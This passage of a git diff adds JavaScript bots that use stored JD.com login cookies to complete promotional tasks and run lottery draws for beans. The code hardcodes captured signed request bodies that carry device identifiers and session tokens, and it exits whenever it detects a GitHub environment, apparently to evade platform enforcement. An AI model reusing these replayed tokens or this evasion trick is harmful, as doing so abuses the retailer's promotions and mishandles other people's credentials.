${$.nickName}\n${message}`); + let nowTime = new Date().getTime() + new Date().getTimezoneOffset()*60*1000 + 8*60*60*1000; + if (nowTime > new Date('2020/12/31 23:59:59+08:00').getTime()) { + $.msg($.name, '活动已结束', `咱江湖再见`); + if ($.isNode()) await notify.sendNotify($.name + '活动已结束', `咱江湖再见`) + } else { + $.msg($.name, '', `京东账号${$.index} ${$.nickName}\n${message}`); + } + resolve() + }) +} +// 任务列表 +function getTaskList() { + let body = "body=%7B%22bizType%22%3A1%2C%22referPageId%22%3A%22discRecommend%22%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone10%2C2&eid=eidIF3CF0112RTIyQTVGQTEtRDVCQy00Qg%3D%3D6HAJa9%2B/4Vedgo62xKQRoAb47%2Bpyu1EQs/6971aUvk0BQAsZLyQAYeid%2BPgbJ9BQoY1RFtkLCLP5OMqU&isBackground=N&joycious=200&lang=zh_CN&networkType=wifi&networklibtype=JDNetworkBaseAF&openudid=53f4d9c70c1c81f1c8769d2fe2fef0190a3f60d2&osVersion=14.2&partner=apple&rfs=0000&scope=01&screen=1242%2A2208&sign=7ac41799deb4b174516255f911adb612&st=1607942822112&sv=100&uts=0f31TVRjBStSN/KN45aFsqdm3cWx37OzS1DDtk92Jjb1GFDLcR3WqIplv0XA1h/hn4ycbABQbxmY2Z6OJ41XlUNqODg0xhlFxdy9vzwBobHzhtVmCcORklu9W1cB6YcW0kYJNzSsy5ypxaQvGUf1oq/yMw/Hbo5lD3f4srHsrWzrsnKQ4K7HYtCFiZ5kn/AC%2B/tEmJRu9yM5j2nCMqdvmg%3D%3D&uuid=hjudwgohxzVu96krv/T6Hg%3D%3D" + return new Promise(resolve => { + $.post(taskPostUrl("discTaskList", body), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.busiCode === '0') { + $.task = data['data']['discTasks'][1] + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +// 开始看 +function acceptTask(body) { + return new Promise(resolve => { + $.post(taskPostUrl("discAcceptTask", body), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if(data.success){ + // console.log('浏览开始请求成功') + }else{ + // console.log(`${data.message}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +// 完成看 +function doTask(body) { + return new Promise(resolve => { + $.post(taskPostUrl("discDoTask", body), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if(data.success){ + console.log(`浏览成功,浏览进度:${data.data.alreadyBrowseNum}/${data.data.totalBrowseNum}`) + }else{ + console.log(`${data.message}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +// 完成看 +function reward() { + let body = "area=12_904_908_57903&body=%7B%22taskId%22%3A%223%22%2C%22bizType%22%3A1%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone10%2C2&eid=eidIF3CF0112RTIyQTVGQTEtRDVCQy00Qg%3D%3D6HAJa9%2B/4Vedgo62xKQRoAb47%2Bpyu1EQs/6971aUvk0BQAsZLyQAYeid%2BPgbJ9BQoY1RFtkLCLP5OMqU&isBackground=N&joycious=200&lang=zh_CN&networkType=wifi&networklibtype=JDNetworkBaseAF&openudid=53f4d9c70c1c81f1c8769d2fe2fef0190a3f60d2&osVersion=14.2&partner=apple&rfs=0000&scope=01&screen=1242%2A2208&sign=17715aee2221001db42054582e246b12&st=1608106937687&sv=102&uts=0f31TVRjBSueCA6d1433N/VvOpFVgTQ3ayM3m/f8v%2B5SZcxHDy1W0aeMpwRE60%2B5NCC1QBAEVnTfdyUBY1v5dzjJYNmtBpfPHeEOqjU2lcvvt9i4lMwuL6cFvhiheX1QlG4SCsmZu6Zhj5aCQji0PhIRINWPoPq7tOwraAhYokfkEoI1Vcv3DgT8TKdKMtBfCtTr%2BEIaEPSfItFIJPlqXw%3D%3D&uuid=hjudwgohxzVu96krv/T6Hg%3D%3D" + return new Promise(resolve => { + $.post(taskPostUrl("discReceiveTaskAward", body), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if(data.success){ + console.log(`领奖成功,${$.task.taskSubTitleExt}`) + message += `京东看一看:${$.task.taskSubTitleExt}`; + await showMsg(); + }else{ + console.log(`领奖失败,${data.message}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function taskPostUrl(function_id, body = {}) { + $.log(`${function_id}`) + return { + url: `${JD_API_HOST}?functionId=${function_id}`, + body: body, + headers: { + "Cookie": cookie, + 'Content-Type': 'application/x-www-form-urlencoded', + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + } + } +} + +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '不要在BoxJS手动复制粘贴修改cookie') + return []; + } + } +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/activity/jd_xg.js b/activity/jd_xg.js new file mode 100644 index 0000000..1ce21c9 --- /dev/null +++ b/activity/jd_xg.js @@ -0,0 +1,296 @@ +/* +小鸽有礼 +抽奖可获得京豆和快递优惠券 +活动时间:2021年1月15日至2021年2月19日 +更新地址:jd_xg.js +活动入口:https://snsdesign.jd.com/babelDiy/Zeus/4N5phvUAqZsGWBNGVJWmufXoBzpt/index.html?channel=lingsns003&scope=0&sceneid=9001&btnTips=&hideApp=0 +已支持IOS双京东账号,Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +============Quantumultx=============== +[task_local] +#小鸽有礼 +5 7 * * * jd_xg.js, tag=小鸽有礼, img-url=https://raw.githubusercontent.com/yogayyy/Scripts/master/Icon/shylocks/jd_xg.jpg, enabled=true + +================Loon============== +[Script] +cron "5 7 * * *" script-path=jd_xg.js,tag=小鸽有礼 + +===============Surge================= +小鸽有礼 = type=cron,cronexp="5 7 * * *",wake-system=1,timeout=200,script-path=jd_xg.js + +============小火箭========= +小鸽有礼 = type=cron,script-path=jd_xg.js, cronexpr="5 7 * * *", timeout=200, enable=true + */ +const $ = new Env('小鸽有礼'); +const notify = $.isNode() ? require('../sendNotify') : ''; +const jdCookieNode = $.isNode() ? require('../jdCookie.js') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', message; + +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { + }; + if(JSON.stringify(process.env).indexOf('GITHUB')>-1) process.exit(0) +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} + +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/', {"open-url": "https://bean.m.jd.com/"}); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + $.beans = 0 + message = ''; + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/`, {"open-url": "https://bean.m.jd.com/"}); + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await jdXg() + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +async function jdXg() { + await getInfo() + await getUserInfo() + while ($.userInfo.bless >= $.userInfo.cost_bless_one_time) { + await draw() + await getUserInfo() + await $.wait(500) + } + await showMsg(); +} + +function showMsg() { + return new Promise(resolve => { + message += `本次运行获得${$.beans}京豆` + $.msg($.name, '', `京东账号${$.index}${$.nickName}\n${message}`); + resolve() + }) +} + +function getInfo() { + return new Promise(resolve => { + $.get({ + url: 'https://snsdesign.jd.com/babelDiy/Zeus/4N5phvUAqZsGWBNGVJWmufXoBzpt/index.html?channel=lingsns003&scope=0&sceneid=9001&btnTips=&hideApp=0', + headers: { + Cookie: cookie + } + }, (err, resp, data) => { + try { + $.info = JSON.parse(data.match(/var snsConfig = (.*)/)[1]) + $.prize = JSON.parse($.info.prize) + resolve() + } catch (e) { + console.log(e) + } + }) + }) +} + +function getUserInfo() { + return new Promise(resolve => { + $.get(taskUrl('query'), async (err, resp, data) => { + try { + if (err) { + console.log(`${err}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + $.userInfo = JSON.parse(data.match(/query\((.*)\n/)[1]).data + // console.log(`您的好友助力码为${$.userInfo.shareid}`) + console.log(`当前幸运值:${$.userInfo.bless}`) + for (let task of $.info.config.tasks) { + if (!$.userInfo.complete_task_list.includes(task['_id'])) { + console.log(`去做任务${task['_id']}`) + await doTask(task['_id']) + await $.wait(500) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function doTask(taskId) { + let body = `task_bless=10&taskid=${taskId}` + return new Promise(resolve => { + $.get(taskUrl('completeTask', body), async (err, resp, data) => { + try { + if (err) { + console.log(`${err}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data.match(/query\((.*)\n/)[1]) + if (data.data.complete_task_list.includes(taskId)) { + console.log(`任务完成成功,当前幸运值${data.data.curbless}`) + $.userInfo.bless = data.data.curbless + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function draw() { + return new Promise(resolve => { + $.get(taskUrl('draw'), async (err, resp, data) => { + try { + if (err) { + console.log(`${err}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data.match(/query\((.*)\n/)[1]) + if (data.data.drawflag) { + if ($.prize.filter(vo => vo.prizeLevel === data.data.level).length > 0) { + console.log(`获得${$.prize.filter(vo => vo.prizeLevel === data.data.level)[0].prizename}`) + if($.prize.filter(vo => vo.prizeLevel === data.data.level)[0].beansPerNum) + $.beans += $.prize.filter(vo => vo.prizeLevel === data.data.level)[0].beansPerNum + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function taskUrl(function_id, body = '') { + body = `activeid=${$.info.activeId}&token=${$.info.actToken}&sceneval=2&shareid=&_=${new Date().getTime()}&callback=query&${body}` + return { + url: `https://wq.jd.com/activet2/piggybank/${function_id}?${body}`, + headers: { + 'Host': 'wq.jd.com', + 'Accept': 'application/json', + 'Accept-Language': 'zh-cn', + 'Content-Type': 'application/json;charset=utf-8', + 'Origin': 'wq.jd.com', + 'User-Agent': 'JD4iPhone/167490 (iPhone; iOS 14.2; Scale/3.00)', + 'Referer': `https://anmp.jd.com/babelDiy/Zeus/xKACpgVjVJM7zPKbd5AGCij5yV9/index.html?wxAppName=jd`, + 'Cookie': cookie + } + } +} + +function taskPostUrl(function_id, body) { + return { + url: `https://lzdz-isv.isvjcloud.com/${function_id}`, + body: body, + headers: { + 'Host': 'lzdz-isv.isvjcloud.com', + 'Accept': 'application/json', + 'Accept-Language': 'zh-cn', + 'Content-Type': 'application/x-www-form-urlencoded', + 'Origin': 'https://lzdz-isv.isvjcloud.com', + 'User-Agent': 'JD4iPhone/167490 (iPhone; iOS 14.2; Scale/3.00)', + 'Referer': `https://lzdz-isv.isvjcloud.com/dingzhi/book/develop/activity?activityId=${ACT_ID}`, + 'Cookie': `${cookie} isvToken=${$.isvToken};` + } + } +} + +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '不要在BoxJS手动复制粘贴修改cookie') + return []; + } + } +} + +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete 